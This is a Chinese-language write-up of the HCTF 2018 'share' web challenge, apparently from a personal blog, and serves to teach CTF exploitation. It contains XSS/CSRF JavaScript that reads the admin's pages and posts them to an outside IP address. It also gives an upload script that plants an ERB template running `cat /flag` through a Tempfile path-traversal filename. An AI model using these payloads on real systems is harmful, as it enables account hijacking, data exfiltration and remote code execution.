技术改变世界,文化改变人心

HCTF 2018 share复盘

HCTF 2018 share复盘

解题流程

  1. 上来发现功能点很少,只有一个Share to admin可以使用,一般来说这种都是XSS

  2. 扫描目录发现robots.txt存在,发现部分源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    /* this terrible code */
    class FileController < ApplicationController
    before_action :authenticate_user!
    before_action :authenticate_role
    before_action :authenticate_admin
    protect_from_forgery :except => [:upload , :share_people_test]

    # post /file/upload
    def upload
    if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
    file = params[:file][:myfile]
    name = Base64.decode64(file.original_filename)
    ext = name.split('.')[-1]
    if ext == name || ext ==nil
    ext=""
    end
    share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
    share.write(Base64.decode64(file.read))
    share.close
    File.rename(share.path,share.path+"."+ext)
    tmp = Sharefile.new
    tmp.public = 0
    tmp.path = share.path
    tmp.name = name
    tmp.tempname= share.path.split('/')[-1]+"."+ext
    tmp.context = params[:file][:context]
    tmp.save
    end
    redirect_to root_path
    end

    # post /file/Alpha_test
    def Alpha_test
    if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
    fid = params[:fid].to_i
    uid = params[:uid].to_i
    if(fid > 0 && uid > 0)
    if(Sharelist.find_by(sharefile_id: fid)==nil)
    if(Sharelist.count("user_id = ?", uid.to_s) <5)
    share = Sharelist.new
    share.sharefile_id = fid
    share.user_id = uid
    share.save
    end
    end
    end
    end
    redirect_to(root_path)
    end

    def share_file_to_all
    file = Sharefile.find(params[:fid])
    File.rename(file.path,Rails.root+"/public/download/"+file.name)
    file.public = true
    file.path = Rails.root+"/public/download/"+file.name
    file.save
    end

    end
  3. 这些路由都需要管理员的登录,所以我们还是需要XSS,随便写一个<script src="http://vps/a.js",可以发现服务器请求了我们的vps,证明可以利用,但是在cookie是httponly,所以无法直接读取

  4. 现在思路很清楚,通过csrf来获取管理员的页面,所以我们构建payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
    xmlhttp=new XMLHttpRequest();
    }
    else
    {
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function()
    {
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    result=xmlhttp.responseText;
    result=encodeURI(result);
    xmlhttp.open("POST","http://120.77.152.169:2340/",true);
    xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    xmlhttp.send("aaa="+result);
    }
    }
    xmlhttp.open("GET","http://localhost:2000/home/upload",true);
    xmlhttp.send();

    可以读取到admin的界面代码

  5. 根据hint1和hint2给出的代码和目录结构,我们可以大致整理出来思路

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    hint1:
    views
    |-- devise
    | |-- confirmations
    | |-- mailer
    | |-- passwords
    | |-- registrations
    | | `-- new.html.erb
    | |-- sessions
    | | `-- new.html.erb
    | |-- shared
    | `-- unlocks
    |-- file
    |-- home
    | |-- Alphatest.erb
    | |-- addtest.erb
    | |-- home.erb
    | |-- index.html.erb
    | |-- publiclist.erb
    | |-- share.erb
    | `-- upload.erb
    |-- layouts
    | |-- application.html.erb
    | |-- mailer.html.erb
    | `-- mailer.text.erb
    `-- recommend
    `-- show.erb
    hint2:
    <%= render template: "home/"+params[:page] %>
    1. 在hint2中,我们可以包含home目录下面的模版文件,但是不能够进行目录穿越

    2. 题目的模版文件在home目录下

    3. share = Tempfile.new(name.split(‘.’+ext)[0],Rails.root.to_s+”/public/upload”),在之前ruby的一个CVE中

    4. 可以看到上面上传的时候就是用了这个库,所以我们可以将我们上传的文件上传到home下面,然后渲染它

  6. 构建文件上传的js:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    $.get("http://localhost:2000/home/upload",function(data){   
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
    var formData = new FormData();

    formData.append("authenticity_token", token);
    formData.append("file[context]", "zxcvxzcvxzcv");

    var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
    var blob = new Blob([content], { type: "image/png"});

    formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
    formData.append("commit", 'submit');

    var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:2000/file/upload");
    request.send(formData);
    request.onreadystatechange=function()
    {
    if (request.readyState==4)
    {
    $.ajax({url:'http://120.77.152.169:2340/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
    }
    }
    });

    执行成功后,我们可以看到我们的file数量多了1

  7. 但是文件是重命名过的,我们需要管理员把文件分享给我们,我们才能获取到文件名,所以我们需要构建一个post请求csrf来让管理员把文件分享给我们

    之后可以在自己的账户下看到文件和文件名

  8. 之后我们可以用home下面的渲染来获得flag